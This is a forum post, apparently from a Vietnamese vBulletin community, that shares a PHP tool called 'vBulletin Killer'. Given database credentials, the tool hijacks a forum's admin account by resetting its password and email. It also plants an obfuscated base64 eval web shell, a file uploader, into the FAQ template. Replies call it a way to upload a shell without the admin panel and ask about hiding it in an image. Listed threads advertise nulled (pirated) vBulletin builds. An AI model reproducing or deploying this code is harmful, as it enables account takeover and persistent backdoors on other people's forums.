• Downloading from our site will require you to have a paid membership. Upgrade to a Premium Membership from 10$ a month today!

    Dont forget read our Rules! Also anyone caught Sharing this content will be banned. By using this site you are agreeing to our rules so read them. Saying I did not know is simply not an excuse! You have been warned.

vBulletin Killer

Admin

Well-Known Member
Staff member
Administrator
tuoitrevnbiz30052013.png

PHP:
<html>
<title>vBulletin Killer</title>
<center>
<form method=POST action=''>
<font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=hostname size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB name<br></font><input value=forum type=text name=dbname size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuser size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB dbpass<br></font><input value=toor type=text name=dbpass size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Table prefix<br></font><input value='' type=text name=prefix size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>User admin<br></font><input value=root type=text name=user size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>New pass admin<br></font><input value=toor type=text name=pass size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>New E-mail admin<br></font><input value=admin@tuoitreit.vn type=text name=email size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Code Shell<br></font><textarea name="data" cols="40" rows="10">$spacer_open
{${eval(base64_decode("aWYoaXNzZXQoJF9QT1NUWydTdWJtaXQnXSkpew0KICAgICRmaWxlZGlyID0gIiI7IA0KICAgICRtYXhmaWxlID0gJzIwMDAwMDAnOw0KDQogICAgJHVzZXJmaWxlX25hbWUgPSAkX0ZJTEVTWydpbWFnZSddWyduYW1lJ107DQogICAgJHVzZXJmaWxlX3RtcCA9ICRfRklMRVNbJ2ltYWdlJ11bJ3RtcF9uYW1lJ107DQogICAgaWYgKGlzc2V0KCRfRklMRVNbJ2ltYWdlJ11bJ25hbWUnXSkpIHsNCiAgICAgICAgJGFib2QgPSAkZmlsZWRpci4kdXNlcmZpbGVfbmFtZTsNCiAgICAgICAgQG1vdmVfdXBsb2FkZWRfZmlsZSgkdXNlcmZpbGVfdG1wLCAkYWJvZCk7DQogIA0KZWNobyI8Y2VudGVyPjxiPkRvbmUgPT0+ICR1c2VyZmlsZV9uYW1lPC9iPjwvY2VudGVyPiI7DQp9DQp9DQplbHNlew0KZWNobycNCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJpbWFnZSI+PGlucHV0IHR5cGU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0IiB2YWx1ZT0iU3VibWl0Ij48L2Zvcm0+JzsNCn0="))}}{${exit()}}&
$_phpinclude_output</textarea><br>
<input type=submit value='Change' ><br>
</form></center>
</html>
<?
error_reporting(0);
$hostname = $_POST['hostname'];
$dbname  = $_POST['dbname'];
$dbuser = $_POST['dbuser'];
$dbpass  = $_POST['dbpass'];
$user=str_replace("\'","'",$user);
$set_user = $_POST['user'];
$pass=str_replace("\'","'",$pass);
$set_pass = $_POST['pass'];
$email=str_replace("\'","'",$email);
$set_email = $_POST['email'];
$vb_prefix = $_POST['prefix'];
$data = $_POST['data'];
$set_data .= ("$data");
$table_name = $vb_prefix."user";
$table_name2 = $vb_prefix."template";

@mysql_connect($hostname,$dbuser,$dbpass);
@mysql_select_db($dbname);

$query = 'select * from ' . $table_name . ' where username="' . $set_user . '";';
$result = mysql_query($query);
$row = mysql_fetch_array($result);
$salt = $row['salt'];
$pass1 = md5($set_pass);
$pass2 = md5($pass1 . $salt);

$querry1 = 'UPDATE ' . $table_name . ' SET password="' . $pass2 . '" WHERE username="' . $set_user . '";';
$querry2 = 'UPDATE ' . $table_name . ' SET email="' . $set_email . '" WHERE username="' . $set_user . '";';
$querry3 = 'UPDATE ' . $table_name2 . ' SET template ="' . $set_data . '" WHERE title = "faq";';

$ok1=@mysql_query($querry1);
$ok1=@mysql_query($querry2);
$ok1=@mysql_query($querry3);

if($ok1){
echo "<script>alert('vBulletin info changed and Shell available is faq.php :)');</script>";
}
?>
 
Là công cụ up shell không qua admincp em à
 
Cái này táng vào picture được không nhỉ anh thắng
 

Facebook Comments

Similar threads
Thread starter Title Forum Replies Date
L Xin xin các pro giúp vBulletin Vbulletin 3
Admin Change the height of the cke text editor vBulletin Vbulletin 0
Admin Social Media vBulletin 5 Add-ons 0
Admin Ratings-Feedback vBulletin 5x Add-ons 0
Admin DRC - Live Previews vBulletin 3.8.x Add-ons 0
Admin Yilmaz - Postbit Background Usergroups vBulletin 5.x Add-ons 0
Admin Yilmaz - Back to Top vBulletin 5.x Add-ons 0
Admin JB: hCaptcha Human Verification vBulletin 4.x,x Add-ons 0
Admin DRC - reCAPTCHA v3 vBulletin 3.x Add-ons 0
Admin vBulletin 5.6.4 is now available for Download Vbulletin 0
Admin Yilmaz - Easy Postbit User Information Settings vBulletin 3.8.x Add-ons 0
V Share vBulletin Connect 5.6.2 pl1 Nulled 5.6.2 pl1 Vbb released 0
Admin vBulletin Connect 5.6.3 is now available for download. Vbulletin 13
Admin ProjectvB4 - Alpha vBulletin 4.2.x Add-ons 0
Admin vBulletin Connect 5.5.4 nulled by tuoitreit.vn Add-ons 2
Admin eBay Search function - code updated vBulletin Add-ons 0
Admin Color in the forum link vBulletin Add-ons 0
Admin vBulletin Connect 5.5.3 nulled by tuoitreit.vn Add-ons 0
Admin Peel Away - Advertising vBulletin 5.4.x Add-ons 0
Admin Cloudflare Registration Tools vBulletin 4.2.5 Add-ons 0
Admin vBulletin 4.2.5 Green Style Add-ons 0
Admin All 31 skins from SultanTheme.com - for FREE and it's REAL for vBulletin 4.2.2 Add-ons 0
Admin Auto-Move Closed Reports vBulletin 4.x Add-ons 0
Admin Userprogress-Bar for vBulletin 5.4.x Add-ons 0
I Help vbulletin Connect 5.5.0 to xenforo 2.1.0 Xenforo 15
Admin vBulletin Connect 5.5.0 nulled by tuoitreit.vn Vbb released 9
Admin New Topic/Sub-Topic Online Effect Glow vBulletin 5.x Vbb tutorial 6
Admin Auto-Postbit Selector for Mobile Browsers vBulletin 4.x Vbulletin 0
Admin Duckways: Admin - Log in as vBulletin 5.x Vbulletin 0
Admin Duckways: Picr.me image hosting integration vBulletin 5.x Add-ons 0
Admin Hướng dẫn chuyển thanks từ vbulletin sang xenforo 1.5.x - Convert thanks vbulletin to like xenforo 1.5.x Xenforo 2
Admin Yilmaz - Owl Carousel vBulletin 5.x Vbulletin 9
Admin Hướng dẫn drop hàng loạt table rác aaggregate_temp cho vBulletin đơn giản Vbulletin 0
Admin vBulletin suite 4.2.5 nulled by tuoitreit.vn Vbb released 30
Admin vBulletin 4.2.3 PL2 patch only by tuoitreit.vn Vbb released 0
Admin Share lại code vbulletin newstyleclan Vbulletin 24
Admin vBulletin suite 4.2.3 PL1 patch only nulled by tuoitreit.vn Vbb released 8
Admin vBulletin suite 4.2.2 PL5 patch only nulled by tuoitreit.vn Vbb released 25
Admin Hướng dẫn backup dữ liệu vBulletin an toàn không lỗi bằng hình ảnh Vbb tutorial 0
Admin Hướng dẫn cải tiến chức năng thống kê nhanh trong admincp cho vBulletin Vbb tutorial 0
Admin vBulletin Suite 4.2.3 Beta 4 nulled by tuoitreit.vn Vbb released 19
Admin vBulletin suite 4.2.2 PL4 patch only nulled by tuoitreit.vn Vbb released 0
Admin vBulletin suite 4.2.2 PL3 patch only nulled by tuoitreit.vn Vbb released 3
Admin Phát hiện lỗ hổng bảo mật mới trên vbulletin 4.2.2 patch level 2 SQL injection 1
Admin Hướng dẫn đổi màu liên kết cho vbulletin Vbb tutorial 0
Admin Hướng dẫn thay màu chữ liên kết của tab navigation vbulletin Vbb tutorial 1
Admin Phát hiện lỗ hổng bảo mật mới trên vbulletin 4.2.2 và vbulletin 4.2.3 Exploit 0
Admin Hướng dẫn fix lỗi table passwordhistory doesn't exist cho vbulletin Vbb tutorial 0
Admin Hướng dẫn xóa toàn bộ chữ ký thành viên vbulletin Vbb tutorial 0
Admin [Web and Art Solutions] Nivo slider for vBulletin 5 Add-ons 0

Similar threads

New posts New threads New resources

Back
Top